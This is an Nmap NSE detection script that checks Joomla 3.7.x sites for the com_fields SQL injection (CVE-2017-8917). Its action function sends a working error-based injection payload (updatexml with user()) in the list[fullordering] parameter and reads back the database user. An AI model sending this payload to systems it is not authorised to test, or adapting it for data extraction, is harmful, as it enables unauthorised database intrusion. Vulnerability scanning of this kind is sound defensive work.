Script Source
Toggle
The full script source is stored with this entry and is hidden by default to keep
the page easier to scan.
local http = require "http"
local shortport = require "shortport"
local string = require "string"
local stdnse = require "stdnse"
local vulns = require "vulns"
local table = require "table"
description = [[
An SQL Injection vulnerability affecting Joomla! 3.7.x before 3.7.1 allows for
unauthenticated users to execute arbitrary SQL commands. This vulnerability was
caused by a new component, <code>com_fields</code>, which was introduced in
version 3.7. This component is publicly accessible, which means this can be
exploited by any malicious individual visiting the site.
The script attempts to inject an SQL statement that runs the <code>user()</code>
information function on the target website. A successful injection will return
the current MySQL user name and host name in the extra_info table.
This script is based on a Python script written by brianwrf.
References:
* https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
* https://github.com/brianwrf/Joomla3.7-SQLi-CVE-2017-8917
]]
---
-- @usage nmap --script http-vuln-cve2017-8917 -p 80 <target>
-- @usage nmap --script http-vuln-cve2017-8917 --script-args http-vuln-cve2017-8917.uri=joomla/ -p 80<target>
-- @output
-- PORT STATE SERVICE VERSION
-- 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
-- | http-vuln-cve2017-8917:
-- | VULNERABLE:
-- | Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2017-8917
-- | Risk factor: High CVSSv3: 9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
-- | An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
-- | to execute aribitrary SQL commands via unspecified vectors.
-- |
-- | Disclosure date: 2017-05-17
-- | Extra information:
-- | User: root@localhost
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917
-- |_ https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
--
-- @xmloutput
-- <table key="CVE-2017-8917">
-- <elem key="title">Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2017-8917</elem>
-- </table>
-- <table key="scores">
-- <elem key="CVSSv3">9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)</elem>
-- </table>
-- <table key="description">
-- <elem>An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
to execute aribitrary SQL commands via unspecified vectors.
</elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="day">17</elem>
-- <elem key="month">05</elem>
-- <elem key="year">2017</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2017-05-17</elem>
-- <table key="check_results">
-- </table>
-- <table key="extra_info">
-- <elem>User: root@localhost</elem>
-- </table>
-- <table key="refs">
-- <elem>https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html</elem>
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917</elem>
-- </table>
-- </table>
-- @args http-vuln-cve2017-8917.uri The webroot of the Joomla installation
--
---
author = "Wong Wai Tuck"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
local REG_EXP_SUCCESS = {"XPATH syntax error: '(.-)'",
"XPATH syntax error: '(.-)'"}
portrule = shortport.http
action = function(host, port)
local vuln_table = {
title = "Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability",
IDS = {CVE = 'CVE-2017-8917'},
risk_factor = "High",
scores = {
CVSSv3 = "9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)",
},
description = [[
An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
to execute aribitrary SQL commands via unspecified vectors.
]],
references = {
'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html',
},
dates = {
disclosure = {year = '2017', month = '05', day = '17'},
},
check_results = {},
extra_info = {}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
vuln_table.state = vulns.STATE.NOT_VULN
local uri = stdnse.get_script_args(SCRIPT_NAME .. '.uri') or '/'
uri = uri .. 'index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,user()),1)'
stdnse.debug1("Attacking uri %s", uri)
local response = http.get(host, port, uri)
stdnse.debug1("Response %s", response.status)
if response.status then
local result, matches
-- If it contains a matching string, it means SQL injection was successful
-- Otherwise it isn't vulnerable
for _, pattern in ipairs(REG_EXP_SUCCESS) do
stdnse.debug1(pattern)
result, matches = http.response_contains(response, pattern)
if result then
stdnse.debug1("Vulnerability found!")
vuln_table.state = vulns.STATE.VULN
table.insert(vuln_table.extra_info, string.format("User: %s", matches[1]))
break
end
end
end
return vuln_report:make_output(vuln_table)
end
